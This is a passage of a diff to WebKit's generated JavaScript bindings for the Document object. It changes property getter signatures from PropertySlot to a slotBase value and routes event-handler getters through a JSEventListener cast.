-    return jsStringOrNull(exec, imp->characterSet());
+    JSValue result = jsStringOrNull(exec, imp->characterSet());
+    return result;
 }
 
-JSValue jsDocumentPreferredStylesheetSet(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentPreferredStylesheetSet(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
-    return jsStringOrNull(exec, imp->preferredStylesheetSet());
+    JSValue result = jsStringOrNull(exec, imp->preferredStylesheetSet());
+    return result;
 }
 
-JSValue jsDocumentSelectedStylesheetSet(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentSelectedStylesheetSet(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
-    return jsStringOrNull(exec, imp->selectedStylesheetSet());
+    JSValue result = jsStringOrNull(exec, imp->selectedStylesheetSet());
+    return result;
 }
 
-JSValue jsDocumentOnabort(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentOnabort(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
     if (EventListener* listener = imp->onabort()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDocumentOnblur(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentOnblur(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
     if (EventListener* listener = imp->onblur()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDocumentOnchange(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentOnchange(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
     if (EventListener* listener = imp->onchange()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDocumentOnclick(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentOnclick(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
     if (EventListener* listener = imp->onclick()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDocumentOncontextmenu(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentOncontextmenu(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
     if (EventListener* listener = imp->oncontextmenu()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDocumentOndblclick(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentOndblclick(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
     if (EventListener* listener = imp->ondblclick()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDocumentOndrag(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentOndrag(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
     if (EventListener* listener = imp->ondrag()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDocumentOndragend(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentOndragend(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
     if (EventListener* listener = imp->ondragend()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDocumentOndragenter(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentOndragenter(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
     if (EventListener* listener = imp->ondragenter()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDocumentOndragleave(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentOndragleave(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
     if (EventListener* listener = imp->ondragleave()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDocumentOndragover(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentOndragover(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
     if (EventListener* listener = imp->ondragover()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDocumentOndragstart(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentOndragstart(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
     if (EventListener* listener = imp->ondragstart()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDocumentOndrop(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentOndrop(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
     if (EventListener* listener = imp->ondrop()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDocumentOnerror(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentOnerror(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
     if (EventListener* listener = imp->onerror()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDocumentOnfocus(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentOnfocus(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
     if (EventListener* listener = imp->onfocus()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDocumentOninput(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentOninput(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
     if (EventListener* listener = imp->oninput()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDocumentOninvalid(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentOninvalid(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
     if (EventListener* listener = imp->oninvalid()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDocumentOnkeydown(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentOnkeydown(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
     if (EventListener* listener = imp->onkeydown()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDocumentOnkeypress(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentOnkeypress(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
     if (EventListener* listener = imp->onkeypress()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDocumentOnkeyup(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentOnkeyup(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
     if (EventListener* listener = imp->onkeyup()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDocumentOnload(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentOnload(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
     if (EventListener* listener = imp->onload()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDocumentOnmousedown(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentOnmousedown(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
     if (EventListener* listener = imp->onmousedown()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDocumentOnmousemove(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentOnmousemove(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
     if (EventListener* listener = imp->onmousemove()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDocumentOnmouseout(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentOnmouseout(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
     if (EventListener* listener = imp->onmouseout()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDocumentOnmouseover(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentOnmouseover(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
     if (EventListener* listener = imp->onmouseover()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDocumentOnmouseup(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentOnmouseup(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
     if (EventListener* listener = imp->onmouseup()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDocumentOnmousewheel(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentOnmousewheel(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
     if (EventListener* listener = imp->onmousewheel()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDocumentOnscroll(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentOnscroll(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
     if (EventListener* listener = imp->onscroll()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDocumentOnselect(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentOnselect(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
     if (EventListener* listener = imp->onselect()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDocumentOnsubmit(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentOnsubmit(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
     if (EventListener* listener = imp->onsubmit()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDocumentOnbeforecut(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentOnbeforecut(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
     if (EventListener* listener = imp->onbeforecut()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDocumentOncut(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentOncut(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
     if (EventListener* listener = imp->oncut()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDocumentOnbeforecopy(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentOnbeforecopy(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
     if (EventListener* listener = imp->onbeforecopy()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDocumentOncopy(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentOncopy(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
     if (EventListener* listener = imp->oncopy()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDocumentOnbeforepaste(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentOnbeforepaste(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
     if (EventListener* listener = imp->onbeforepaste()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDocumentOnpaste(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentOnpaste(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
     if (EventListener* listener = imp->onpaste()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDocumentOnreset(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentOnreset(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
     if (EventListener* listener = imp->onreset()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDocumentOnsearch(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentOnsearch(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
     if (EventListener* listener = imp->onsearch()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDocumentOnselectstart(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDocumentOnselectstart(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     Document* imp = static_cast<Document*>(castedThis->impl());
     if (EventListener* listener = imp->onselectstart()) {
-        if (JSObject* jsFunction = listener->jsFunction(imp))
-            return jsFunction;
+        if (const JSEventListener* jsListener = JSEventListener::cast(listener)) {
+            if (JSObject* jsFunction = jsListener->jsFunction(imp))
+                return jsFunction;
+        }
     }
     return jsNull();
 }
 
-JSValue jsDocumentConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+#if ENABLE(TOUCH_EVENTS)
+JSValue jsDocumentOntouchstart(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDocument* domObject = static_cast<JSDocument*>(asObject(slot.slotBase()));
+    JSDocument* castedThis = static_cast<JSDocument*>(asObject(slotBase));
+    UNUSED_PARAM(exec);
+    Document* imp = static_cast<Document*>(castedThis->impl());
+    if (EventListener* listener = imp->ontouchstart()) {
